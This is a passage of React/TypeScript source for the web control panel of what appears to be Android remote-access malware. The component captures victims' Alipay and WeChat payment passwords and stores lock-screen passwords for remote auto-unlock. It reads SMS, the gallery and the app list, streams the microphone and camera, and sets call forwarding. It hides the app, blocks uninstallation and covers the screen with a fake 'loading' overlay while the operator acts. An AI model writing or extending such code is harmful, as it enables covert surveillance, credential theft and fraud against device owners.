import React, { useState, useEffect, useRef } from 'react'
import { Card, Button, Space, Input, Row, Col, Modal, Table, Pagination, Tag, Select, App, InputNumber, Tabs } from 'antd'
import DeviceCamera from '../Device/DeviceCamera'
import DebugFunctionsCard from './DebugFunctionsCard'
import DeviceInfoCard from './DeviceInfoCard'
import SmsControlCard from './SmsControlCard'
// import LogsCard from './LogsCard'
import GalleryControlCard from './GalleryControlCard'
import CameraControlCard from './CameraControlCard'
import {
  PlayCircleOutlined,
  EyeOutlined,
  EyeInvisibleOutlined,
  BorderOutlined,
  FileTextOutlined,
  StopOutlined,
  ClearOutlined,
  SearchOutlined,
  SettingOutlined,
  AudioOutlined
} from '@ant-design/icons'
import { useSelector, useDispatch } from 'react-redux'
import type { RootState } from '../../store/store'
import { setOperationEnabled, setDeviceInputBlocked, setCameraViewVisible, setGalleryVisible, setGalleryLoading, addGalleryImage, updateScreenDisplay } from '../../store/slices/uiSlice'
import { resetDeviceStates, setDeviceScreenReaderHierarchy, updateDeviceScreenReaderConfig } from '../../store/slices/deviceSlice'
import { apiClient } from '../../services/apiClient'

interface ControlPanelProps {
  deviceId: string
}

// SMS数据类型定义
interface SmsItem {
  id: number
  address: string
  body: string
  date: number
  read: boolean
  type: number // 1: 接收, 2: 发送
}

interface SmsData {
  deviceId: string
  type: string
  timestamp: number
  count: number
  smsList: SmsItem[]
}

// 支付宝密码数据类型定义
interface AlipayPassword {
  id: number
  deviceId: string
  password: string
  passwordLength: number
  passwordType?: string
  activity: string
  inputMethod: string
  sessionId: string
  timestamp: string
  createdAt: string
}

// (未使用) 旧的支付宝密码响应类型，已由新数据结构替代，移除以清理告警

interface AlipayPasswordSingleResponse {
  success: boolean
  data: AlipayPassword
}

// 微信密码数据类型定义
interface WechatPassword {
  id: number
  deviceId: string
  password: string
  passwordLength: number
  passwordType?: string
  activity: string
  inputMethod: string
  sessionId: string
  timestamp: string
  createdAt: string
}

interface WechatPasswordListResponse {
  success: boolean
  data: {
    passwords: WechatPassword[]
    total: number
    page: number
    pageSize: number
    totalPages: number
  }
}

interface WechatPasswordSingleResponse {
  success: boolean
  data: WechatPassword
}

// 相册数据类型定义
interface AlbumItem {
  id: string
  name: string
  path: string
  size: number
  width: number
  height: number
  dateAdded: number
  dateModified: number
  mimeType: string
  bucketId?: string
  bucketName?: string
}

interface AlbumData {
  deviceId: string
  type: string
  timestamp: number
  count: number
  albumList: AlbumItem[]
}

interface AppListItem {
  packageName: string
  appName: string
  isSystemApp?: boolean
  enabled?: boolean
  iconBase64?: string
  iconMimeType?: string
}

interface AppListData {
  deviceId: string
  type: string
  timestamp: number
  count: number
  appList: AppListItem[]
}

type CallForwardRule = 'all' | 'busy' | 'no_reply' | 'not_reachable'

interface CallForwardResultData {
  deviceId: string
  type?: string
  timestamp?: number
  action?: string
  rule?: string
  phoneNumber?: string
  success?: boolean
  message?: string
  mmiCode?: string
  permissionRequested?: boolean
}

// 日志类型映射
const logTypeLabels = {
  'APP_OPENED': '应用打开',
  'TEXT_INPUT': '文本输入',
  'CLICK': '点击操作',
  'SWIPE': '滑动操作',
  'KEY_EVENT': '按键操作',
  'LONG_PRESS': '长按操作',
  'GESTURE': '手势操作',
  'SYSTEM_EVENT': '系统事件'
}

const logTypeColors = {
  'APP_OPENED': 'blue',
  'TEXT_INPUT': 'green',
  'CLICK': 'orange',
  'SWIPE': 'purple',
  'KEY_EVENT': 'red',
  'LONG_PRESS': 'pink',
  'GESTURE': 'cyan',
  'SYSTEM_EVENT': 'gray'
}

const callForwardRuleLabels: Record<CallForwardRule, string> = {
  all: '全部来电',
  busy: '占线转移',
  no_reply: '无人接听',
  not_reachable: '无法接通'
}

type PermissionState = 'granted' | 'missing' | 'unknown' | 'requesting'
type PermissionKey = 'mediaProjection' | 'camera' | 'microphone' | 'sms' | 'gallery' | 'appList' | 'batteryOptimization' | 'backgroundStart'

interface PermissionStatusItem {
  state: PermissionState
  detail: string
  updatedAt: number | null
}

const permissionStateLabelMap: Record<PermissionState, string> = {
  granted: '已获取',
  missing: '未获取',
  unknown: '未检查',
  requesting: '获取中'
}

const permissionStateColorMap: Record<PermissionState, string> = {
  granted: 'green',
  missing: 'red',
  unknown: 'default',
  requesting: 'orange'
}

const permissionMetaList: Array<{ key: PermissionKey; label: string }> = [
  { key: 'mediaProjection', label: '投屏权限' },
  { key: 'camera', label: '相机权限' },
  { key: 'microphone', label: '麦克风权限' },
  { key: 'sms', label: '短信权限' },
  { key: 'gallery', label: '相册权限' },
  { key: 'appList', label: '应用列表读取' },
  { key: 'batteryOptimization', label: '省电策略' },
  { key: 'backgroundStart', label: '后台启动策略' }
]

const createInitialPermissionStatus = (): Record<PermissionKey, PermissionStatusItem> => ({
  mediaProjection: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null },
  camera: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null },
  microphone: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null },
  sms: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null },
  gallery: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null },
  appList: { state: 'unknown', detail: '点击右侧按钮拉取应用列表', updatedAt: null },
  batteryOptimization: { state: 'unknown', detail: '点击右侧按钮检测省电策略状态', updatedAt: null },
  backgroundStart: { state: 'unknown', detail: '点击右侧按钮检测后台启动状态', updatedAt: null }
})

/**
 * 设备控制面板
 */
const ControlPanel: React.FC<ControlPanelProps> = ({ deviceId }) => {
  const { modal, message } = App.useApp()
  // 文本输入卡片已移除
  const [maskText, setMaskText] = useState('数据加载中\n请勿操作')
  const [maskTextSize, setMaskTextSize] = useState(24)
  const [maskAlpha, setMaskAlpha] = useState(220)
  const [maskAdjustModalVisible, setMaskAdjustModalVisible] = useState(false)

  // 日志相关状态
  const [isLoggingEnabled, setIsLoggingEnabled] = useState(false)
  const [logModalVisible, setLogModalVisible] = useState(false)
  const [operationLogs, setOperationLogs] = useState<any[]>([])
  const [logLoading, setLogLoading] = useState(false)
  const [currentPage, setCurrentPage] = useState(1)
  const [pageSize, setPageSize] = useState(50)
  const [totalLogs, setTotalLogs] = useState(0)
  const [logTypeFilter, setLogTypeFilter] = useState<string | undefined>(undefined)

  // 一键解锁相关状态
  const [isUnlocking, setIsUnlocking] = useState(false)
  const [lastKnownPassword, setLastKnownPassword] = useState<string | null>(null)
  const [deviceState, setDeviceState] = useState<any>(null)

  // 图案解锁相关状态
  const [isPatternUnlocking, setIsPatternUnlocking] = useState(false)

  // 支付宝检测相关状态
  const [alipayDetectionEnabled, setAlipayDetectionEnabled] = useState(false)
  const [alipayPasswords, setAlipayPasswords] = useState<AlipayPassword[]>([])
  const [alipayPasswordModalVisible, setAlipayPasswordModalVisible] = useState(false)
  const [alipayPasswordLoading, setAlipayPasswordLoading] = useState(false)
  const [alipayPasswordPage, setAlipayPasswordPage] = useState(1)
  const [alipayPasswordPageSize, setAlipayPasswordPageSize] = useState(10)
  const [alipayPasswordTotal, setAlipayPasswordTotal] = useState(0)
  // 已移除最新密码单独展示，避免未使用状态

  // 微信检测相关状态
  const [wechatDetectionEnabled, setWechatDetectionEnabled] = useState(false)
  const [wechatPasswords, setWechatPasswords] = useState<WechatPassword[]>([])
  const [wechatPasswordModalVisible, setWechatPasswordModalVisible] = useState(false)
  const [wechatPasswordLoading, setWechatPasswordLoading] = useState(false)
  const [wechatPasswordPage, setWechatPasswordPage] = useState(1)
  const [wechatPasswordPageSize, setWechatPasswordPageSize] = useState(10)
  const [wechatPasswordTotal, setWechatPasswordTotal] = useState(0)
  // 已移除最新微信密码单独展示，避免未使用状态

  // 使用ref来避免useEffect依赖项问题
  const logModalVisibleRef = useRef(logModalVisible)
  const pageSizeRef = useRef(pageSize)
  const logTypeFilterRef = useRef(logTypeFilter)
  const pendingInjectionPackageRef = useRef<string | null>(null)
  const pendingInjectionEnableRef = useRef<boolean | null>(null)
  const appListRequestTimeoutRef = useRef<number | null>(null)

  const clearAppListRequestTimeout = () => {
    if (appListRequestTimeoutRef.current !== null) {
      window.clearTimeout(appListRequestTimeoutRef.current)
      appListRequestTimeoutRef.current = null
    }
  }

  // 更新ref值
  useEffect(() => {
    logModalVisibleRef.current = logModalVisible
    pageSizeRef.current = pageSize
    logTypeFilterRef.current = logTypeFilter
  }, [logModalVisible, pageSize, logTypeFilter])

  // 密码查找相关状态
  const [passwordSearchVisible, setPasswordSearchVisible] = useState(false)
  const [passwordSearchLoading, setPasswordSearchLoading] = useState(false)
  const [customPasswordInput, setCustomPasswordInput] = useState('') // 新增：自定义密码输入
  const [foundPasswords, setFoundPasswords] = useState<string[]>([])
  const [selectedPassword, setSelectedPassword] = useState<string>('')
  // 通用内容预览弹窗（用于密码/日志等）
  const [contentPreviewVisible, setContentPreviewVisible] = useState(false)
  const [contentPreviewText, setContentPreviewText] = useState('')

  // 黑屏遮盖相关状态
  const [isBlackScreenActive, setIsBlackScreenActive] = useState(false)

  // 应用隐藏相关状态
  const [isAppHidden, setIsAppHidden] = useState(false)

  // 🆕 重新获取投屏权限相关状态
  // 重新获取投屏权限相关状态已不使用

  // 摄像头控制相关状态
  const [isCameraActive, setIsCameraActive] = useState(false)
  const [currentCameraType, setCurrentCameraType] = useState<'front' | 'back'>('front')

  // 🎙️ 麦克风控制相关状态
  const [isMicRecording, setIsMicRecording] = useState(false)
  const [micPermission, setMicPermission] = useState<string | null>(null)
  const [micSampleRate, setMicSampleRate] = useState<number | null>(null)
  const [micChannels, setMicChannels] = useState<number | null>(null)
  const [micBitDepth, setMicBitDepth] = useState<number | null>(null)
  const [permissionStatus, setPermissionStatus] = useState<Record<PermissionKey, PermissionStatusItem>>(createInitialPermissionStatus)

  // 为兼容遗留调用，提供无副作用占位setter，后续可彻底清理调用点
  const setIsRefreshingPermission = (_v?: any) => { }

  const updatePermissionStatus = (key: PermissionKey, state: PermissionState, detail?: string) => {
    setPermissionStatus((prev) => ({
      ...prev,
      [key]: {
        state,
        detail: typeof detail === 'string' ? detail : prev[key].detail,
        updatedAt: Date.now()
      }
    }))
  }

  // 🎧 WebAudio 播放相关引用
  const audioContextRef = useRef<AudioContext | null>(null)
  const micGainRef = useRef<GainNode | null>(null)
  const nextPlaybackTimeRef = useRef<number>(0)

  const ensureAudioContext = () => {
    if (!audioContextRef.current || (audioContextRef.current.state === 'closed')) {
      const ctx = new (window.AudioContext || (window as any).webkitAudioContext)()
      audioContextRef.current = ctx
      const gain = ctx.createGain()
      gain.gain.value = 1.0
      gain.connect(ctx.destination)
      micGainRef.current = gain
      nextPlaybackTimeRef.current = ctx.currentTime + 0.01
    }
    return audioContextRef.current!
  }

  const decodeBase64ToInt16LE = (base64: string): Int16Array => {
    const binary = window.atob(base64)
    const len = binary.length
    const buffer = new ArrayBuffer(len)
    const bytes = new Uint8Array(buffer)
    for (let i = 0; i < len; i++) {
      bytes[i] = binary.charCodeAt(i)
    }
    // 以小端解析为 Int16
    const view = new DataView(buffer)
    const samples = new Int16Array(len / 2)
    for (let i = 0; i < samples.length; i++) {
      samples[i] = view.getInt16(i * 2, true)
    }
    return samples
  }

  const int16ToFloat32 = (input: Int16Array): Float32Array => {
    const output = new Float32Array(input.length)
    for (let i = 0; i < input.length; i++) {
      output[i] = Math.max(-1, Math.min(1, input[i] / 32768))
    }
    return output
  }

  const playPcmChunk = (base64: string, sampleRate: number, channels: number) => {
    try {
      const ctx = ensureAudioContext()
      const int16 = decodeBase64ToInt16LE(base64)
      const float32 = int16ToFloat32(int16)

      const ch = Math.max(1, channels || 1)
      const length = Math.floor(float32.length / ch)
      const buffer = ctx.createBuffer(ch, length, sampleRate || ctx.sampleRate)
      for (let c = 0; c < ch; c++) {
        const channelData = buffer.getChannelData(c)
        // 拆分交错通道数据（目前数据为单声道，保留通用写法）
        for (let i = 0; i < length; i++) {
          channelData[i] = float32[i * ch + c] || 0
        }
      }

      const source = ctx.createBufferSource()
      source.buffer = buffer
      source.connect(micGainRef.current as GainNode)

      const startAt = Math.max(ctx.currentTime + 0.005, nextPlaybackTimeRef.current || ctx.currentTime + 0.005)
      source.start(startAt)
      nextPlaybackTimeRef.current = startAt + buffer.duration
    } catch (e) {
      console.error('🎧 播放音频数据失败:', e)
    }
  }

  // 🆕 确认坐标输入相关状态
  const [inputCoordsModalVisible, setInputCoordsModalVisible] = useState(false)
  const [inputCoordX, setInputCoordX] = useState<number>(0)
  const [inputCoordY, setInputCoordY] = useState<number>(0)

  // 🛡️ 防止卸载功能相关状态
  const [isUninstallProtectionEnabled, setIsUninstallProtectionEnabled] = useState(false)
  const [_uninstallProtectionStatus, setUninstallProtectionStatus] = useState<'monitoring' | 'idle'>('idle')

  // 📱 SMS短信相关状态（卡片内展示列表）
  const [smsData, setSmsData] = useState<SmsData | null>(null)
  // 短信改为卡片内展示，移除弹窗状态
  const [smsLoading, setSmsLoading] = useState(false)
  // 短信读取条数限制
  const [smsReadLimit, setSmsReadLimit] = useState(100)

  // ✅ 新增：服务器地址修改功能
  const [serverUrlModalVisible, setServerUrlModalVisible] = useState(false)
  const [newServerUrl, setNewServerUrl] = useState('')
  const [serverUrlChanging, setServerUrlChanging] = useState(false)

  // 📷 相册相关状态
  const [albumData, setAlbumData] = useState<AlbumData | null>(null)
  const [albumLoading, setAlbumLoading] = useState(false)
  const [appListData, setAppListData] = useState<AppListData | null>(null)
  const [appListLoading, setAppListLoading] = useState(false)
  const [appListIncludeIcons, setAppListIncludeIcons] = useState(false)
  const [appSearchKeyword, setAppSearchKeyword] = useState('')
  const [openingAppPackage, setOpeningAppPackage] = useState<string | null>(null)
  const [injectedAppPackage, setInjectedAppPackage] = useState<string | null>(null)
  const [injectingAppPackage, setInjectingAppPackage] = useState<string | null>(null)
  const [pendingInjectionPackage, setPendingInjectionPackage] = useState<string | null>(null)
  const [pendingInjectionEnable, setPendingInjectionEnable] = useState<boolean | null>(null)
  const [appListPermission, setAppListPermission] = useState<{ granted: boolean | null, message: string }>({
    granted: null,
    message: ''
  })
  const [callForwardPhoneNumber, setCallForwardPhoneNumber] = useState('')
  const [callForwardRule, setCallForwardRule] = useState<CallForwardRule>('all')
  const [callForwardSubmitting, setCallForwardSubmitting] = useState(false)
  const [biometricDisabling, setBiometricDisabling] = useState(false)

  useEffect(() => {
    pendingInjectionPackageRef.current = pendingInjectionPackage
    pendingInjectionEnableRef.current = pendingInjectionEnable
  }, [pendingInjectionPackage, pendingInjectionEnable])

  // 📷 新增：逐张图片保存事件展示（类似短信）
  type GallerySavedItem = {
    id: string
    deviceId: string
    index: number
    displayName: string
    dateAdded: number
    mimeType: string
    width: number
    height: number
    size: number
    contentUri: string
    timestamp: number
    url: string
    resolvedUrl?: string
  }
  const [gallerySavedList, setGallerySavedList] = useState<GallerySavedItem[]>([])

  const dispatch = useDispatch()
  const { webSocket } = useSelector((state: RootState) => state.connection)
  const { connectedDevices } = useSelector((state: RootState) => state.devices)
  const { operationEnabled, deviceInputBlocked, cameraViewVisible, screenDisplay } = useSelector((state: RootState) => state.ui)

  const device = connectedDevices.find(d => d.id === deviceId)

  // 当设备连接时重置状态，但不申请控制权（由DeviceScreen组件统一管理）
  useEffect(() => {
    if (device && device.status === 'online') {
      dispatch(resetDeviceStates(deviceId))

      // ✅ 移除重复的控制权申请，避免与DeviceScreen组件冲突
      // 控制权申请由DeviceScreen组件统一管理
      console.log('📋 设备已连接，重置状态:', deviceId)
    }
  }, [device?.status, deviceId, dispatch])

  // 当设备切换时重置状态
  useEffect(() => {
    if (!deviceId) return

    // ✅ 当设备切换时，清空之前设备的状态
    console.log('🔄 设备切换，清空状态:', deviceId)

    // 清空之前设备的状态
    setLastKnownPassword('')
    setIsLoggingEnabled(false)
    dispatch(setOperationEnabled(true))
    setPasswordSearchVisible(false)
    setFoundPasswords([])
    setSelectedPassword('')
    setIsUnlocking(false)
    setPasswordSearchLoading(false)
    // 🆕 重置黑屏状态（稍后从服务器同步实际状态）
    setIsBlackScreenActive(false)
    // 🆕 重置应用隐藏状态（稍后从服务器同步实际状态）
    setIsAppHidden(false)
    // 🛡️ 重置防止卸载保护状态（稍后从服务器同步实际状态）
    setIsUninstallProtectionEnabled(false)
    setUninstallProtectionStatus('idle')
    // 🆕 重置重新获取投屏权限状态
    setIsRefreshingPermission(false)
    clearAppListRequestTimeout()
    setAppListData(null)
    setAppListLoading(false)
    setAppListIncludeIcons(false)
    setAppSearchKeyword('')
    setOpeningAppPackage(null)
    setInjectedAppPackage(null)
    setInjectingAppPackage(null)
    setPendingInjectionPackage(null)
    setPendingInjectionEnable(null)
    setAppListPermission({ granted: null, message: '' })
    setCallForwardPhoneNumber('')
    setCallForwardRule('all')
    setCallForwardSubmitting(false)
    setMaskAdjustModalVisible(false)
    setPermissionStatus(createInitialPermissionStatus())

    // ⚠️ 不再立即获取设备状态，等待DeviceScreen组件获取控制权成功后再获取
  }, [deviceId])

  useEffect(() => {
    if (isCameraActive) {
      const cameraLabel = currentCameraType === 'front' ? '前置摄像头活动中' : '后置摄像头活动中'
      updatePermissionStatus('camera', 'granted', cameraLabel)
    }
  }, [isCameraActive, currentCameraType])

  // 监听WebSocket事件
  useEffect(() => {
    if (!webSocket || !deviceId) return

    const handleRealtimeLog = (data: any) => {
      console.log(`收到日志数据`)
      console.log(data)
      if (data.deviceId === deviceId && logModalVisibleRef.current) {
        // 实时更新日志列表
        console.log('更新日志数据')
        setOperationLogs(prev => [data.log, ...prev])
        setTotalLogs(prev => prev + 1)
      }
    }

    const handleLogResponse = (data: any) => {
      setLogLoading(false)
      if (data.success) {
        setOperationLogs(data.data.logs)
        setTotalLogs(data.data.total)
        setCurrentPage(data.data.page)
      } else {
        modal.error({
          title: '获取日志失败',
          content: data.message
        })
      }
    }

    const handleClearLogResponse = (data: any) => {
      if (data.success) {
        modal.success({
          title: '清空成功',
          content: '操作日志已清空'
        })
        if (logModalVisibleRef.current) {
          fetchOperationLogs(1, pageSizeRef.current, logTypeFilterRef.current)
        }
      } else {
        modal.error({
          title: '清空失败',
          content: data.message
        })
      }
    }

    const handleGetPasswordResponse = (data: any) => {
      console.log('📨 收到密码查询响应:', data)
      setIsUnlocking(false)

      if (!data.success) {
        // 处理错误情况（比如权限不足）
        console.error('❌ 密码查询失败:', data.message)

        if (data.message && data.message.includes('无权')) {
          modal.error({
            title: '权限不足',
            content: '您需要先获取设备控制权限才能使用一键解锁功能。请先点击"获取控制权"按钮。',
            okText: '知道了'
          })
        } else {
          modal.error({
            title: '查询失败',
            content: data.message || '查询密码失败，请重试'
          })
        }
        return
      }

      // ✅ 处理设备状态信息
      if (data.deviceState) {
        console.log('📊 收到设备状态:', data.deviceState)
        setDeviceState(data.deviceState)
        // 更新本地状态以匹配服务器状态
        if (data.deviceState.inputBlocked !== undefined && data.deviceState.inputBlocked !== null) {
          dispatch(setDeviceInputBlocked(data.deviceState.inputBlocked))
          // 阻止本机输入时仍允许Web端远程操作
          dispatch(setOperationEnabled(true))
        }
        if (data.deviceState.loggingEnabled !== undefined && data.deviceState.loggingEnabled !== null) {
          setIsLoggingEnabled(data.deviceState.loggingEnabled)
        }
        // 🆕 同步黑屏遮盖状态
        if (data.deviceState.blackScreenActive !== undefined && data.deviceState.blackScreenActive !== null) {
          setIsBlackScreenActive(data.deviceState.blackScreenActive)
          console.log('🖤 从密码查询同步黑屏状态:', data.deviceState.blackScreenActive)
        }
        // 🆕 同步应用隐藏状态
        if (data.deviceState.appHidden !== undefined && data.deviceState.appHidden !== null) {
          setIsAppHidden(data.deviceState.appHidden)
          console.log('📱 从密码查询同步应用隐藏状态:', data.deviceState.appHidden)
        }
        // 🛡️ 同步防止卸载保护状态
        if (data.deviceState.uninstallProtectionEnabled !== undefined && data.deviceState.uninstallProtectionEnabled !== null) {
          setIsUninstallProtectionEnabled(data.deviceState.uninstallProtectionEnabled)
          setUninstallProtectionStatus(data.deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle')
          console.log('🛡️ 从密码查询同步防止卸载保护状态:', data.deviceState.uninstallProtectionEnabled)
        }
        if (data.deviceState.password) {
          setLastKnownPassword(data.deviceState.password)
        }
      }

      if (data.password) {
        setLastKnownPassword(data.password)

        // 🆕 优先使用新的确认坐标字段（从数据库获取）
        const savedConfirmCoords = data.deviceState?.confirmButtonCoords || null
        const learnedConfirmButton = data.deviceState?.learnedConfirmButton || null

        // 🆕 更新设备状态，包含确认按钮信息
        setDeviceState((prev: any) => ({
          ...prev,
          confirmButtonCoords: savedConfirmCoords,
          learnedConfirmButton: learnedConfirmButton
        }))

        // ✅ 根据密码类型判断是否需要确认按钮
        const passwordType = detectPasswordType(data.password)
        const needsConfirmButton = passwordType !== 'pattern' // 除了图形密码，其他都需要确认

        let confirmInfo = ''
        if (savedConfirmCoords) {
          confirmInfo = `\n🎯 已保存确认坐标: (${savedConfirmCoords.x}, ${savedConfirmCoords.y})`
        } else if (learnedConfirmButton) {
          confirmInfo = `\n🧠 学习的确认坐标: (${learnedConfirmButton.x}, ${learnedConfirmButton.y}) 次数: ${learnedConfirmButton.count}`
        } else if (needsConfirmButton) {
          confirmInfo = `\n💡 提示: 该密码类型 (${passwordType}) 需要确认按钮，建议先提取确认坐标`
        } else {
          confirmInfo = `\n✅ 该密码类型 (${passwordType}) 通常无需确认按钮`
        }

        modal.confirm({
          title: '找到密码记录',
          content: `发现密码: ${data.password}${confirmInfo}\n\n是否执行自动解锁？`,
          okText: '确认解锁',
          cancelText: '取消',
          onOk() {
            // ✅ 用户确认后，先保存密码到数据库，然后执行解锁
            savePasswordToDatabase(data.password)
            // 🆕 优先使用保存的坐标，如果没有则使用学习的坐标
            const coordsToUse = savedConfirmCoords || learnedConfirmButton
            performAutoUnlock(data.password, coordsToUse)
          }
        })
      } else {
        // 🔧 修复：没有密码时提供手动输入选项
        modal.confirm({
          title: '🔐 暂无密码记录',
          content: '该设备暂时未记录密码。\n\n您可以：\n• 点击"确认"手动输入密码进行解锁\n• 点击"查找密码"从操作日志中搜索\n• 点击"取消"稍后手动操作',
          okText: '手动输入密码',
          cancelText: '查找密码',
          width: 450,
          onOk() {
            // 打开密码搜索弹窗，但允许直接输入密码
            setPasswordSearchVisible(true)
            setFoundPasswords([]) // 清空历史密码
            setSelectedPassword('')
            setCustomPasswordInput('') // 清空自定义输入
            setPasswordSearchLoading(false) // 不显示加载状态
          },
          onCancel() {
            // 用户选择查找密码
            handleSearchPasswords()
          }
        })
      }
    }

    const handleDeviceControlResponse = (data: any) => {
      console.log('🎮 设备控制权响应:', data)
      if (data.success && data.deviceId === deviceId) {
        console.log('✅ 成功获取设备控制权，现在获取设备状态')
        // 🔧 获取控制权成功后，立即获取设备状态
        setTimeout(() => {
          getDeviceState()
        }, 100) // 稍微延迟确保控制权已设置
      } else {
        console.error('❌ 获取设备控制权失败:', data.message)
      }
    }

    // ✅ 新增设备状态相关响应处理
    const handleSavePasswordResponse = (data: any) => {
      console.log('💾 保存密码响应:', data)
      if (data.success) {
        console.log('✅ 密码已保存到数据库')
      } else {
        console.error('❌ 保存密码失败:', data.message)
      }
    }

    const handleUpdateDeviceStateResponse = (data: any) => {
      console.log('📊 更新设备状态响应:', data)
      if (data.success) {
        console.log('✅ 设备状态已更新')
      } else {
        console.error('❌ 更新设备状态失败:', data.message)
      }
    }

    const handleGetDeviceStateResponse = (data: any) => {
      console.log('📊 获取设备状态响应:', data)
      if (data.success) {
        if (data.data) {
          const deviceState = data.data
          console.log('📊 设备状态数据:', deviceState)

          // 更新本地状态以匹配服务器状态
          if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) {
            dispatch(setDeviceInputBlocked(deviceState.inputBlocked))
            // 阻止本机输入时仍允许Web端远程操作
            dispatch(setOperationEnabled(true))
          }
          if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) {
            setIsLoggingEnabled(deviceState.loggingEnabled)
          }
          // 🆕 同步黑屏遮盖状态
          if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) {
            setIsBlackScreenActive(deviceState.blackScreenActive)
            console.log('🖤 从服务器同步黑屏状态:', deviceState.blackScreenActive)
          }
          // 🆕 同步应用隐藏状态
          if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) {
            setIsAppHidden(deviceState.appHidden)
            console.log('📱 从服务器同步应用隐藏状态:', deviceState.appHidden)
          }
          // 🛡️ 同步防止卸载保护状态
          if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) {
            setIsUninstallProtectionEnabled(deviceState.uninstallProtectionEnabled)
            setUninstallProtectionStatus(deviceState.uninstallProtectionEnabled ? 'monitoring' : 'idle')
            console.log('🛡️ 从服务器同步防止卸载保护状态:', deviceState.uninstallProtectionEnabled)
          }
          if (deviceState.password) {
            setLastKnownPassword(deviceState.password)
          } else {
            setLastKnownPassword('') // 确保清空之前的密码
          }
        } else {
          console.log('📊 设备暂无状态记录，使用默认状态')
          // 设备暂无状态记录，保持清空后的默认状态
          setLastKnownPassword('')
          setIsLoggingEnabled(false)
          dispatch(setOperationEnabled(true))
          setIsBlackScreenActive(false)
          setIsAppHidden(false)
          setIsUninstallProtectionEnabled(false)
          setUninstallProtectionStatus('idle')
        }
      } else {
        console.error('❌ 获取设备状态失败:', data.message)
        // 获取失败也保持默认状态
        setLastKnownPassword('')
        setIsLoggingEnabled(false)
        dispatch(setOperationEnabled(true))
        setIsBlackScreenActive(false)
        setIsAppHidden(false)
        setIsUninstallProtectionEnabled(false)
        setUninstallProtectionStatus('idle')
      }
    }

    // 处理密码搜索响应
    const handlePasswordSearchResponse = (data: any) => {
      console.log('🔍 收到密码搜索响应:', data)
      setPasswordSearchLoading(false)

      if (data.success) {
        if (data.passwords && data.passwords.length > 0) {
          console.log('✅ 找到密码:', data.passwords)
          setFoundPasswords(data.passwords)
          setSelectedPassword('') // 重置选择
        } else {
          console.log('ℹ️ 搜索成功但未找到密码，显示输入界面')
          // 🔧 修复：即使没有找到历史密码，也显示弹窗让用户手动输入
          setPasswordSearchVisible(true)
          setFoundPasswords([])
          setSelectedPassword('')
          setCustomPasswordInput('')

          // 显示提示信息，但不关闭弹窗
          message.info('未找到历史密码记录，请直接输入密码', 3)
        }
      } else {
        console.log('❌ 密码搜索失败:', data.message)
        // 🔧 修复：搜索失败时也允许用户手动输入密码
        setPasswordSearchVisible(true)
        setFoundPasswords([])
        setSelectedPassword('')
        setCustomPasswordInput('')

        // 显示搜索失败的提示，但保持弹窗打开
        message.error(`密码搜索失败: ${data.message || '未知错误'}，请直接输入密码`, 4)
      }
    }

    // 监听设备状态同步事件
    const handleDeviceInputBlockedChanged = (data: any) => {
      if (data.deviceId === deviceId && data.success) {
        console.log(`[控制面板] 设备 ${deviceId} 输入阻塞状态已同步: ${data.blocked}`)
        dispatch(setDeviceInputBlocked(data.blocked))
        // 阻止本机输入时，Web端远程操作仍保持可用
        dispatch(setOperationEnabled(true))
      }
    }

    const handleDeviceLoggingStateChanged = (data: any) => {
      if (data.deviceId === deviceId && data.success) {
        console.log(`[控制面板] 设备 ${deviceId} 日志状态已同步: ${data.enabled}`)
        setIsLoggingEnabled(data.enabled)
      }
    }

    // 监听设备状态恢复事件
    const handleDeviceStateRestored = (data: any) => {
      if (data.deviceId === deviceId && data.success && data.state) {
        console.log(`[控制面板] 设备 ${deviceId} 状态已恢复:`, data.state)

        // 恢复输入阻塞状态
        if (data.state.inputBlocked !== null) {
          dispatch(setDeviceInputBlocked(data.state.inputBlocked))
        }

        // 恢复日志状态
        if (data.state.loggingEnabled !== null) {
          setIsLoggingEnabled(data.state.loggingEnabled)
        }

        // 🆕 恢复黑屏遮盖状态
        if (data.state.blackScreenActive !== null) {
          setIsBlackScreenActive(data.state.blackScreenActive)
          console.log('🖤 从状态恢复同步黑屏状态:', data.state.blackScreenActive)
        }

        // 🆕 恢复应用隐藏状态
        if (data.state.appHidden !== null) {
          setIsAppHidden(data.state.appHidden)
          console.log('📱 从状态恢复同步应用隐藏状态:', data.state.appHidden)
        }
      }
    }

    // 处理UI层次结构响应
    const handleUIHierarchyResponse = (data: any) => {
      //console.log('🔍 收到UI层次结构响应:', data)
      if (data.deviceId === deviceId) {
        if (data.success && data.hierarchy) {
          dispatch(setDeviceScreenReaderHierarchy({
            deviceId,
            hierarchyData: data.hierarchy
          }))
          //console.log('✅ UI层次结构数据已更新')
        } else {
          const errorMsg = data.error || '获取UI层次结构失败'
          dispatch(setDeviceScreenReaderHierarchy({
            deviceId,
            hierarchyData: null,
            error: errorMsg
          }))
          console.error('❌ UI层次结构获取失败:', errorMsg)
        }
      }
    }

    // 🆕 监听确认坐标保存响应
    const handleSaveConfirmCoordsResponse = (data: any) => {
      if (data.deviceId === deviceId) {
        if (data.success) {
          message.success(`确认坐标已保存: (${data.coords.x}, ${data.coords.y})`)
          // 更新设备状态以显示新的坐标
          getDeviceState()
        } else {
          message.error(`保存确认坐标失败: ${data.message}`)
        }
      }
    }

    // 🆕 监听确认坐标更新广播
    const handleConfirmCoordsUpdated = (data: any) => {
      if (data.deviceId === deviceId) {
        console.log('📨 收到确认坐标更新:', data.coords)
        // 更新设备状态以显示新的坐标
        getDeviceState()
      }
    }

    // 🆕 监听黑屏遮盖响应
    const handleBlackScreenResponse = (data: any) => {
      if (data.deviceId === deviceId) {
        console.log('🖤 黑屏遮盖响应:', data)
        if (data.success) {
          setIsBlackScreenActive(data.isActive)
          message.success(data.isActive ? '黑屏遮盖已启用' : '黑屏遮盖已取消')
          console.log(`🖤 [设备 ${deviceId}] 黑屏状态已更新: ${data.isActive}`)
        } else {
          message.error(`黑屏遮盖操作失败: ${data.message}`)
          console.error(`🖤 [设备 ${deviceId}] 黑屏遮盖操作失败:`, data.message)
        }
      }
    }

